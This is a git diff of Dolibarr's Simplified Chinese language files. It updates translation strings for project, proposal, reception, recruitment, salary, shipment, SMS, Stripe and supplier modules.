ErrorTimeSpentIsEmpty=所花费的时间是空的 -TimeRecordingRestrictedToNMonthsBack=Time recording is restricted to %s months back +TimeRecordingRestrictedToNMonthsBack=时间记录只限于过去%s个月 ThisWillAlsoRemoveTasks=这一行动也将删除所有项目任务 (%s 任务的时刻) ,花全部的时间都投入。 IfNeedToUseOtherObjectKeepEmpty=如果某些对象(发票,订单,...),属于其他合作方,必须与该项目以创建,保持这个空项目多的合作方。 CloneTasks=复制任务 @@ -165,8 +169,8 @@ OpportunityProbability=Lead probability OpportunityProbabilityShort=Lead probab. OpportunityAmount=Lead amount OpportunityAmountShort=Lead amount -OpportunityWeightedAmount=Opportunity weighted amount -OpportunityWeightedAmountShort=Opp. weighted amount +OpportunityWeightedAmount=Amount of opportunity, weighted by probability +OpportunityWeightedAmountShort=商机加权金额 OpportunityAmountAverageShort=Average lead amount OpportunityAmountWeigthedShort=Weighted lead amount WonLostExcluded=不包括赢得/失去的 @@ -183,37 +187,37 @@ SelectElement=选择元素 AddElement=链接到元素 LinkToElementShort=链接到 # Documents models -DocumentModelBeluga=Project document template for linked objects overview -DocumentModelBaleine=Project document template for tasks -DocumentModelTimeSpent=Project report template for time spent +DocumentModelBeluga=链接对象的项目文档模板概述 +DocumentModelBaleine=任务的项目文档模板 +DocumentModelTimeSpent=时间成本的项目报告模板 PlannedWorkload=计划的工作量 PlannedWorkloadShort=工作量 ProjectReferers=关联物料 ProjectMustBeValidatedFirst=项目首先必须认证 -MustBeValidatedToBeSigned=%s must be validated first to be set to Signed. -FirstAddRessourceToAllocateTime=Assign a user resource as contact of project to allocate time +MustBeValidatedToBeSigned=%s必须首先经过验证才能设置为已签名 +FirstAddRessourceToAllocateTime=指定一个用户资源作为项目的联系人来分配时间 InputPerDay=输入天数 InputPerWeek=输入周数 -InputPerMonth=Input per month +InputPerMonth=每月输入 InputDetail=输入细节 TimeAlreadyRecorded=这是此任务/日和用户%s已记录的时间 ProjectsWithThisUserAsContact=项目的用户作为联系人 -ProjectsWithThisContact=Projects with this contact +ProjectsWithThisContact=此联系人的项目 TasksWithThisUserAsContact=任务分配给这个用户 ResourceNotAssignedToProject=未分配到项目 ResourceNotAssignedToTheTask=未分配给任务 -NoUserAssignedToTheProject=No users assigned to this project +NoUserAssignedToTheProject=没有用户分配给这个项目 TimeSpentBy=花费的时间 TasksAssignedTo=分配给的任务 -AssignTaskToMe=Assign task to myself +AssignTaskToMe=分配任务给自己 AssignTaskToUser=将任务分配给%s SelectTaskToAssign=选择要分配的任务... AssignTask=分配 ProjectOverview=概览 -ManageTasks=Use projects to follow tasks and/or report time spent (timesheets) +ManageTasks=使用项目来跟踪任务和/或报告时间成本(工时表) ManageOpportunitiesStatus=用项目跟进机会/线索 -ProjectNbProjectByMonth=No. of created projects by month -ProjectNbTaskByMonth=No. of created tasks by month +ProjectNbProjectByMonth=每月创建的项目数 +ProjectNbTaskByMonth=每月创建的任务数 ProjectOppAmountOfProjectsByMonth=Amount of leads by month ProjectWeightedOppAmountOfProjectsByMonth=Weighted amount of leads by month ProjectOpenedProjectByOppStatus=Open project|lead by lead status @@ -238,7 +242,7 @@ OppStatusPENDING=待办 OppStatusWON=赢得 OppStatusLOST=失去 Budget=预算 -AllowToLinkFromOtherCompany=Allow to link project from other company

      Supported values:
      - Keep empty: Can link any project of the company (default)
      - "all": Can link any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link all projects of these third partys (Example: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=最新的%s项目 LatestModifiedProjects=最新的%s编辑过的项目 OtherFilteredTasks=其他过滤任务 @@ -259,7 +263,7 @@ TimeSpentInvoiced=Time spent billed TimeSpentForIntervention=所花费的时间 TimeSpentForInvoice=所花费的时间 OneLinePerUser=One line per user -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Invoice %s has been generated from time spent on project InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Check if you enter timesheet on tasks of project AND you plan to generate invoice(s) from the timesheet to bill the customer of the project (do not check if you plan to create invoice that is not based on entered timesheets). Note: To generate invoice, go on tab 'Time spent' of the project and select lines to include. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -290,7 +294,8 @@ ProjectsHavingThisContact=Projects having this contact StartDateCannotBeAfterEndDate=结束日期不能早过开始日期啊,时光不能倒流呀魂淡 ErrorPROJECTLEADERRoleMissingRestoreIt=The "PROJECTLEADER" role is missing or has been de-activited, please restore in the dictionary of contact types LeadPublicFormDesc=You can enable here a public page to allow your prospects to make a first contact to you from a public online form -EnablePublicLeadForm=Enable the public form for contact -NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. -NewLeadForm=New contact form +EnablePublicLeadForm=启用公共表单来联系 +NewLeadbyWeb=您的信息或请求已被记录。 我们会尽快回复或与您联系。 +NewLeadForm=新联系人表单 LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=获取报告 diff --git a/htdocs/langs/zh_CN/propal.lang b/htdocs/langs/zh_CN/propal.lang index 35e3834b316..492d61f5b9c 100644 --- a/htdocs/langs/zh_CN/propal.lang +++ b/htdocs/langs/zh_CN/propal.lang @@ -54,9 +54,10 @@ NoDraftProposals=没有报价草稿 CopyPropalFrom=通过复制(并变更)现有报价单创建新报价单 CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=默认报价单有效期(按天计算) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=您确定要克隆商业提案 %s 吗? -ConfirmReOpenProp=您确定要打开商业提案 %s 吗? +ConfirmReOpenProp=您确定要再打开商业提案 %s 吗? ProposalsAndProposalsLines=报价单和报价项目 ProposalLine=报价项目 ProposalLines=Proposal lines @@ -64,36 +65,54 @@ AvailabilityPeriod=交货延迟期 SetAvailability=设置交货延迟期 AfterOrder=下单后 OtherProposals=其他报价单 + ##### Availability ##### AvailabilityTypeAV_NOW=即时 AvailabilityTypeAV_1W=1 周 AvailabilityTypeAV_2W=2 周 AvailabilityTypeAV_3W=3 周 AvailabilityTypeAV_1M=1 个月 -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=跟进报价的销售代表 TypeContact_propal_external_BILLING=客户账单联系人 TypeContact_propal_external_CUSTOMER=跟进报价的客户联系人 TypeContact_propal_external_SHIPPING=客户联系以便交付 + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=关闭订单时使用的默认模板(待付款) DefaultModelPropalCreate=设置默认模板 DefaultModelPropalToBill=关闭订单时使用的默认模板(待生成账单) -DefaultModelPropalClosed=关闭订单时使用的默认模板(待付款) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=拒绝 +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=书面接受,公司盖章,日期和签名 ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/zh_CN/receiptprinter.lang b/htdocs/langs/zh_CN/receiptprinter.lang index 57c5326da13..0bd9048fc2f 100644 --- a/htdocs/langs/zh_CN/receiptprinter.lang +++ b/htdocs/langs/zh_CN/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=发送测试页到打印机 %s ReceiptPrinter=发票打印机 ReceiptPrinterDesc=设置发票打印机 ReceiptPrinterTemplateDesc=模板设置 -ReceiptPrinterTypeDesc=发票打印机类型描述 +ReceiptPrinterTypeDesc=Example of possible values for the field "Parameters" according to the type of driver ReceiptPrinterProfileDesc=发票打印机配置 ListPrinters=打印机列表 SetupReceiptTemplate=模板设置 @@ -54,14 +54,16 @@ DOL_DOUBLE_WIDTH=Double width size DOL_DEFAULT_HEIGHT_WIDTH=Default height and width size DOL_UNDERLINE=Enable underline DOL_UNDERLINE_DISABLED=Disable underline -DOL_BEEP=Beed sound +DOL_BEEP=Beep sound +DOL_BEEP_ALTERNATIVE=Beep sound (alternative mode) +DOL_PRINT_CURR_DATE=Print current date/time DOL_PRINT_TEXT=Print text DateInvoiceWithTime=Invoice date and time YearInvoice=Invoice year DOL_VALUE_MONTH_LETTERS=Invoice month in letters DOL_VALUE_MONTH=Invoice month DOL_VALUE_DAY=Invoice day -DOL_VALUE_DAY_LETTERS=Inovice day in letters +DOL_VALUE_DAY_LETTERS=发票日(以字母为单位) DOL_LINE_FEED_REVERSE=Line feed reverse InvoiceID=Invoice ID InvoiceRef=发票号 diff --git a/htdocs/langs/zh_CN/receptions.lang b/htdocs/langs/zh_CN/receptions.lang index 2061cb326db..b6bcc2d833d 100644 --- a/htdocs/langs/zh_CN/receptions.lang +++ b/htdocs/langs/zh_CN/receptions.lang @@ -3,10 +3,10 @@ ReceptionDescription=Vendor reception management (Create reception documents) ReceptionsSetup=Vendor Reception setup RefReception=Ref. reception Reception=论过程 -Receptions=Receptions +Receptions=收货 AllReceptions=All Receptions Reception=论过程 -Receptions=Receptions +Receptions=收货 ShowReception=Show Receptions ReceptionsArea=Receptions area ListOfReceptions=List of receptions @@ -32,6 +32,7 @@ StatusReceptionDraftShort=草稿 StatusReceptionValidatedShort=批准 StatusReceptionProcessedShort=处理完毕 ReceptionSheet=Reception sheet +ValidateReception=Validate reception ConfirmDeleteReception=Are you sure you want to delete this reception? ConfirmValidateReception=Are you sure you want to validate this reception with reference %s? ConfirmCancelReception=Are you sure you want to cancel this reception? @@ -41,14 +42,13 @@ SendReceptionRef=Submission of reception %s ActionsOnReception=Events on reception ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. ReceptionLine=Reception line -ProductQtyInReceptionAlreadySent=Product quantity from open sales order already sent +ProductQtyInReceptionAlreadySent=开放销售订单的产品数量已发送 ProductQtyInSuppliersReceptionAlreadyRecevied=Product quantity from open supplier order already received ValidateOrderFirstBeforeReception=You must first validate the order before being able to make receptions. ReceptionsNumberingModules=Numbering module for receptions ReceptionsReceiptModel=Document templates for receptions NoMorePredefinedProductToDispatch=No more predefined products to dispatch ReceptionExist=A reception exists -ByingPrice=Bying price ReceptionBackToDraftInDolibarr=Reception %s back to draft ReceptionClassifyClosedInDolibarr=Reception %s classified Closed ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open diff --git a/htdocs/langs/zh_CN/recruitment.lang b/htdocs/langs/zh_CN/recruitment.lang index 275b1a7c633..c08651f02c7 100644 --- a/htdocs/langs/zh_CN/recruitment.lang +++ b/htdocs/langs/zh_CN/recruitment.lang @@ -18,17 +18,17 @@ # # Module label 'ModuleRecruitmentName' -ModuleRecruitmentName = Recruitment +ModuleRecruitmentName = 招聘 # Module description 'ModuleRecruitmentDesc' -ModuleRecruitmentDesc = Manage and follow recruitment campaigns for new job positions +ModuleRecruitmentDesc = 管理和跟踪新工作职位的招聘活动 # # Admin page # -RecruitmentSetup = Recruitment setup +RecruitmentSetup = 招聘设置 Settings = 设置 -RecruitmentSetupPage = Enter here the setup of main options for the recruitment module -RecruitmentArea=Recruitement area +RecruitmentSetupPage = 在此输入招聘模块的主要选项设置 +RecruitmentArea=招聘区 PublicInterfaceRecruitmentDesc=Public pages of jobs are public URLs to show and answer to open jobs. There is one different link for each open job, found on each job record. EnablePublicRecruitmentPages=Enable public pages of open jobs @@ -38,39 +38,42 @@ EnablePublicRecruitmentPages=Enable public pages of open jobs About = 关于 RecruitmentAbout = About Recruitment RecruitmentAboutPage = Recruitment about page -NbOfEmployeesExpected=Expected nb of employees +NbOfEmployeesExpected=预期的雇员人数 JobLabel=Label of job position -WorkPlace=Work place +WorkPlace=工作地点 DateExpected=Expected date FutureManager=Future manager ResponsibleOfRecruitement=Responsible of recruitment IfJobIsLocatedAtAPartner=If job is located at a partner place PositionToBeFilled=工作岗位 -PositionsToBeFilled=Job positions -ListOfPositionsToBeFilled=List of job positions -NewPositionToBeFilled=New job positions +PositionsToBeFilled=工作岗位 +ListOfPositionsToBeFilled=工作岗位清单 +NewPositionToBeFilled=新工作岗位 JobOfferToBeFilled=Job position to be filled ThisIsInformationOnJobPosition=Information of the job position to be filled ContactForRecruitment=Contact for recruitment EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used -NewCandidature=New application -ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +NewCandidature=新申请 +ListOfCandidatures=申请清单 +Remuneration=工资 +RequestedRemuneration=要求的工资 +ProposedRemuneration=提议的工资 ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused -RecruitmentCandidature=Application -JobPositions=Job positions -RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +RecruitmentCandidature=申请 +JobPositions=工作岗位 +RecruitmentCandidatures=申请 +InterviewToDo=Contacts to follow AnswerCandidature=Application answer -YourCandidature=Your application -YourCandidatureAnswerMessage=Thanks you for your application.
      ... +YourCandidature=您的申请 +YourCandidatureAnswerMessage=感谢您的申请
      … JobClosedTextCandidateFound=The job position is closed. The position has been filled. -JobClosedTextCanceled=The job position is closed. -ExtrafieldsJobPosition=Complementary attributes (job positions) -ExtrafieldsApplication=Complementary attributes (job applications) -MakeOffer=Make an offer +JobClosedTextCanceled=这个职位已关闭 +ExtrafieldsJobPosition=补充属性(工作岗位) +ExtrafieldsApplication=补充属性(工作岗位) +MakeOffer=开价 +WeAreRecruiting=我们正在招聘。这是一份有待填补的空缺职位清单... +NoPositionOpen=目前没有职位空缺 diff --git a/htdocs/langs/zh_CN/resource.lang b/htdocs/langs/zh_CN/resource.lang index 70350bae181..559d8a02faf 100644 --- a/htdocs/langs/zh_CN/resource.lang +++ b/htdocs/langs/zh_CN/resource.lang @@ -5,7 +5,7 @@ DeleteResource=删除资源 ConfirmDeleteResourceElement=确认从这个元素中删除资源 NoResourceInDatabase=数据库中无资源 NoResourceLinked=无资源链接 - +ActionsOnResource=有关此资源的事件 ResourcePageIndex=资源列表 ResourceSingular=资源 ResourceCard=资源信息卡 @@ -30,7 +30,10 @@ DictionaryResourceType=资源类别 SelectResource=请选择资源 -IdResource=Id resource -AssetNumber=Serial number -ResourceTypeCode=Resource type code +IdResource=Id资源 +AssetNumber=序列号 +ResourceTypeCode=资源类型代码 ImportDataset_resource_1=资源 + +ErrorResourcesAlreadyInUse=有些资源正在使用中 +ErrorResourceUseInEvent=%s被用于%s事件 diff --git a/htdocs/langs/zh_CN/salaries.lang b/htdocs/langs/zh_CN/salaries.lang index e8710293444..fd89e0bf43d 100644 --- a/htdocs/langs/zh_CN/salaries.lang +++ b/htdocs/langs/zh_CN/salaries.lang @@ -1,26 +1,27 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=用于合伙人的会计帐户 -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. -SALARIES_ACCOUNTING_ACCOUNT_CHARGE=财务记账科目代码 -CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_CHARGE=默认为工资支付的会计科目 +CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=默认情况下,在创建工资时将“自动创建总付款”选项留空 Salary=工资 Salaries=工资 -NewSalary=New salary -AddSalary=Add salary -NewSalaryPayment=New salary card -AddSalaryPayment=Add salary payment +NewSalary=新工资 +AddSalary=添加工资 +NewSalaryPayment=新工资卡 +AddSalaryPayment=添加工资付款 SalaryPayment=工资支付 SalariesPayments=工资支付 -SalariesPaymentsOf=Salaries payments of %s +SalariesPaymentsOf=%s的工资支付 ShowSalaryPayment=显示工资支付 THM=平均时薪 TJM=平均日薪 CurrentSalary=当前薪资 -THMDescription=This value may be used to calculate the cost of time consumed on a project entered by users if module project is used -TJMDescription=This value is currently for information only and is not used for any calculation -LastSalaries=Latest %s salaries -AllSalaries=All salaries -SalariesStatistics=Salary statistics -SalariesAndPayments=Salaries and payments -ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? -FillFieldFirst=Fill employee field first +THMDescription=如果项目模块已使用,该值可用于计算用户输入的项目所消耗的时间成本 +TJMDescription=该数值目前仅用于提供信息,不用于任何计算 +LastSalaries=最新%s工资 +AllSalaries=所有工资 +SalariesStatistics=工资统计 +SalariesAndPayments=工资和支付 +ConfirmDeleteSalaryPayment=您要删除这笔工资付款吗? +FillFieldFirst=先填写雇员字段 +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/zh_CN/sendings.lang b/htdocs/langs/zh_CN/sendings.lang index 5b960723b2d..a737f8a3d27 100644 --- a/htdocs/langs/zh_CN/sendings.lang +++ b/htdocs/langs/zh_CN/sendings.lang @@ -21,7 +21,7 @@ QtyShipped=出货数量 QtyShippedShort=数量船。 QtyPreparedOrShipped=数量(准备或发货) QtyToShip=出货数量 -QtyToReceive=Qty to receive +QtyToReceive=接收数量 QtyReceived=收到的数量 QtyInOtherShipments=数量(其他运输) KeepToShip=继续发货 @@ -43,34 +43,34 @@ ConfirmValidateSending=您确定要参考 %s 验证此货件吗? ConfirmCancelSending=您确定要取消此货件吗? DocumentModelMerou=Merou A5 model WarningNoQtyLeftToSend=警告,没有产品等待装运。 -StatsOnShipmentsOnlyValidated=Statistics are only for validated shipments. Date used is the date of validation of shipment (planned delivery date is not always known) +StatsOnShipmentsOnlyValidated=统计数据只针对已验证的发货。使用的日期是确认发货的日期(计划交货日期并不总是知道) DateDeliveryPlanned=计划运输日期 RefDeliveryReceipt=参考送货收据 StatusReceipt=状态交货收据 DateReceived=交货日期收到 -ClassifyReception=Classify reception -SendShippingByEMail=Send shipment by email +ClassifyReception=分类接收 +SendShippingByEMail=通过电子邮件发送 SendShippingRef=提交运输 %s ActionsOnShipping=运输活动 LinkToTrackYourPackage=链接到追踪您的包裹 -ShipmentCreationIsDoneFromOrder=For the moment, creation of a new shipment is done from the Sales Order record. +ShipmentCreationIsDoneFromOrder=目前,从销售订单记录中创建新的发货已完成。 ShipmentLine=运输线路 -ProductQtyInCustomersOrdersRunning=Product quantity from open sales orders -ProductQtyInSuppliersOrdersRunning=Product quantity from open purchase orders -ProductQtyInShipmentAlreadySent=Product quantity from open sales order already sent -ProductQtyInSuppliersShipmentAlreadyRecevied=Product quantity from open purchase orders already received -NoProductToShipFoundIntoStock=No product to ship found in warehouse %s. Correct stock or go back to choose another warehouse. +ProductQtyInCustomersOrdersRunning=开放销售订单的产品数量 +ProductQtyInSuppliersOrdersRunning=开放采购订单的产品数量 +ProductQtyInShipmentAlreadySent=开放销售订单的产品数量已发送 +ProductQtyInSuppliersShipmentAlreadyRecevied=开放采购订单的产品数量已收到 +NoProductToShipFoundIntoStock=仓库%s中找不到要运输的产品,更正库存或返回以选择另一个仓库。 WeightVolShort=重量/体积 ValidateOrderFirstBeforeShipment=您必须先验证订单才能发货。 # Sending methods # ModelDocument DocumentModelTyphon=更多的送货单(logo. ..完整的文档模板) -DocumentModelStorm=More complete document model for delivery receipts and extrafields compatibility (logo...) +DocumentModelStorm=更完整的交货凭证和额外字段兼容性的文档模型(标识...) Error_EXPEDITION_ADDON_NUMBER_NotDefined=没有定义的常数EXPEDITION_ADDON_NUMBER SumOfProductVolumes=产品总数 SumOfProductWeights=产品总重 # warehouse details DetailWarehouseNumber= 仓库明细 -DetailWarehouseFormat= W:%s (Qty: %d) +DetailWarehouseFormat= W:%s(数量:%d) diff --git a/htdocs/langs/zh_CN/sms.lang b/htdocs/langs/zh_CN/sms.lang index 369166d2f61..4d372db049c 100644 --- a/htdocs/langs/zh_CN/sms.lang +++ b/htdocs/langs/zh_CN/sms.lang @@ -1,9 +1,9 @@ # Dolibarr language file - Source file is en_US - sms Sms=短信 -SmsSetup=SMS安装 -SmsDesc=此页面允许您定义全局选项上的短信功能 +SmsSetup=短信设置 +SmsDesc=此页面允许您定义短信功能的全局选项 SmsCard=短信卡 -AllSms=所有短信campains +AllSms=所有短信活动 SmsTargets=目标 SmsRecipients=目标 SmsRecipient=目标 @@ -13,19 +13,19 @@ SmsTo=目标 SmsTopic=主题的短信 SmsText=讯息 SmsMessage=短信 -ShowSms=显示SMS -ListOfSms=清单 - 短信campains -NewSms=新短信战役 +ShowSms=显示短信 +ListOfSms=列出短信活动 +NewSms=新短信活动 EditSms=编辑短信 ResetSms=新发送 -DeleteSms=删除SMS战役 -DeleteASms=移除SMS战役 -PreviewSms=previuw短信 -PrepareSms=编写短信 -CreateSms=创建SMS -SmsResult=结果发送短信 +DeleteSms=删除短信活动 +DeleteASms=移除短信活动 +PreviewSms=预览短信 +PrepareSms=准备短信 +CreateSms=创建短信 +SmsResult=短信发送结果 TestSms=测试短信 -ValidSms=验证SMS +ValidSms=验证短信 ApproveSms=批准短信 SmsStatusDraft=草稿 SmsStatusValidated=验证 @@ -35,17 +35,17 @@ SmsStatusSentPartialy=发送部分 SmsStatusSentCompletely=完全发送 SmsStatusError=错误 SmsStatusNotSent=不发送 -SmsSuccessfulySent=短信正确发送(从%s %s) +SmsSuccessfulySent=短信正确发送 (从%s到%s) ErrorSmsRecipientIsEmpty=目标号码是空的 WarningNoSmsAdded=没有新的电话号码添加到目标列表 -ConfirmValidSms=Do you confirm validation of this campain? -NbOfUniqueSms=电话号码单位数量 +ConfirmValidSms=你确认这次活动的有效性吗? +NbOfUniqueSms=唯一的电话号码数量 NbOfSms=电话号码数量 ThisIsATestMessage=这是一条测试消息 SendSms=发送短信 SmsInfoCharRemain=剩余字符数量 -SmsInfoNumero= (国际格式如:33899701761) +SmsInfoNumero= (国际格式,例如:+33899701761) DelayBeforeSending=延迟发送前(分钟) -SmsNoPossibleSenderFound=No sender available. Check setup of your SMS provider. -SmsNoPossibleRecipientFound=没有目标。检查您的SMS提供商的设置。 -DisableStopIfSupported=Disable STOP message (if supported) +SmsNoPossibleSenderFound=没有发件人可用。检查您的 SMS 提供商的设置。 +SmsNoPossibleRecipientFound=没有目标。检查您的 SMS 提供商的设置。 +DisableStopIfSupported=禁用STOP消息(如果支持) diff --git a/htdocs/langs/zh_CN/stripe.lang b/htdocs/langs/zh_CN/stripe.lang index c3ace0f5829..422c774dee2 100644 --- a/htdocs/langs/zh_CN/stripe.lang +++ b/htdocs/langs/zh_CN/stripe.lang @@ -4,7 +4,7 @@ StripeDesc=Offer your customers an online payment page for payments with credit/ StripeOrCBDoPayment=使用信用卡或Stripe付款 FollowingUrlAreAvailableToMakePayments=以下网址可提供给客户的网页上,能够作出Dolibarr支付对象 PaymentForm=付款方式 -WelcomeOnPaymentPage=Welcome to our online payment service +WelcomeOnPaymentPage=欢迎使用我们的在线付款服务 ThisScreenAllowsYouToPay=这个屏幕允许你进行网上支付%s。 ThisIsInformationOnPayment=这是在做付款信息 ToComplete=要完成 @@ -61,6 +61,7 @@ DeleteACard=删除卡 ConfirmDeleteCard=您确定要删除此信用卡或借记卡吗? CreateCustomerOnStripe=在Stripe上创建客户 CreateCardOnStripe=在Stripe上创建卡片 +CreateBANOnStripe=Create bank on Stripe ShowInStripe=在Stripe中显示 StripeUserAccountForActions=User account to use for email notification of some Stripe events (Stripe payouts) StripePayoutList=List of Stripe payouts @@ -69,3 +70,5 @@ ToOfferALinkForLiveWebhook=Link to setup Stripe WebHook to call the IPN (live mo PaymentWillBeRecordedForNextPeriod=Payment will be recorded for the next period. ClickHereToTryAgain=Click here to try again... CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s +TERMINAL_LOCATION=Location (address) for terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe diff --git a/htdocs/langs/zh_CN/supplier_proposal.lang b/htdocs/langs/zh_CN/supplier_proposal.lang index 8f70109f665..19f71a785be 100644 --- a/htdocs/langs/zh_CN/supplier_proposal.lang +++ b/htdocs/langs/zh_CN/supplier_proposal.lang @@ -13,6 +13,7 @@ SupplierProposalArea=供应商提案区域 SupplierProposalShort=供应商提案 SupplierProposals=供应商提案 SupplierProposalsShort=供应商提案 +AskPrice=询价申请 NewAskPrice=新建询价申请 ShowSupplierProposal=显示询价申请 AddSupplierProposal=创建询价申请 @@ -32,7 +33,7 @@ SupplierProposalStatusValidatedShort=已确认 SupplierProposalStatusClosedShort=关闭 SupplierProposalStatusSignedShort=接受 SupplierProposalStatusNotSignedShort=拒绝 -CopyAskFrom=复制已创建的询价申请为新的询价申请 +CopyAskFrom=通过复制现有请求创建一个价格请求 CreateEmptyAsk=创建空白申请 ConfirmCloneAsk=您确定要克隆价格请求 %s 吗? ConfirmReOpenAsk=您确定要打开价格请求 %s 吗? @@ -52,3 +53,6 @@ SupplierProposalsToClose=供应商提案结束 SupplierProposalsToProcess=供应商提议处理 LastSupplierProposals=最新的%s价格要求 AllPriceRequests=全部申请 +TypeContact_supplier_proposal_external_SHIPPING=供应商交货联系人 +TypeContact_supplier_proposal_external_BILLING=供应商开具账单联系人 +TypeContact_supplier_proposal_external_SERVICE=跟进报价的销售代表 diff --git a/htdocs/langs/zh_CN/suppliers.lang b/htdocs/langs/zh_CN/suppliers.lang index b53b51c3e06..724d69f6596 100644 --- a/htdocs/langs/zh_CN/suppliers.lang +++ b/htdocs/langs/zh_CN/suppliers.lang @@ -4,17 +4,18 @@ SuppliersInvoice=供应商发票 SupplierInvoices=供应商发票 ShowSupplierInvoice=显示供应商发票 NewSupplier=新供应商 +NewSupplierInvoice = 新供应商发票 History=历史 -ListOfSuppliers=供应商列表 +ListOfSuppliers=供应商清单 ShowSupplier=显示供应商 OrderDate=订购日期 -BuyingPriceMin=最优采购价 -BuyingPriceMinShort=最优采购价 +BuyingPriceMin=最优采购价格 +BuyingPriceMinShort=最优采购价格 TotalBuyingPriceMinShort=子产品采购价格总计 TotalSellingPriceMinShort=子产品销售价格合计 SomeSubProductHaveNoPrices=某些副产品没有定义价格 -AddSupplierPrice=添加采购价 -ChangeSupplierPrice=更改采购价 +AddSupplierPrice=添加采购价格 +ChangeSupplierPrice=更改采购价格 SupplierPrices=供应商价格 ReferenceSupplierIsAlreadyAssociatedWithAProduct=This vendor reference is already associated with a product: %s NoRecordedSuppliers=没有供应商记录 @@ -36,14 +37,21 @@ ListOfSupplierProductForSupplier=供应商的产品清单和价格 %s SentToSuppliers=发送给供应商 ListOfSupplierOrders=采购订单清单 MenuOrdersSupplierToBill=采购订单发票 -NbDaysToDelivery=Delivery delay (days) -DescNbDaysToDelivery=The longest delivery delay of the products from this order +NbDaysToDelivery=交货延迟时间 (天) +DescNbDaysToDelivery=这订单中产品的最长交货延迟时间 SupplierReputation=供应商声誉 ReferenceReputation=Reference reputation DoNotOrderThisProductToThisSupplier=不订购 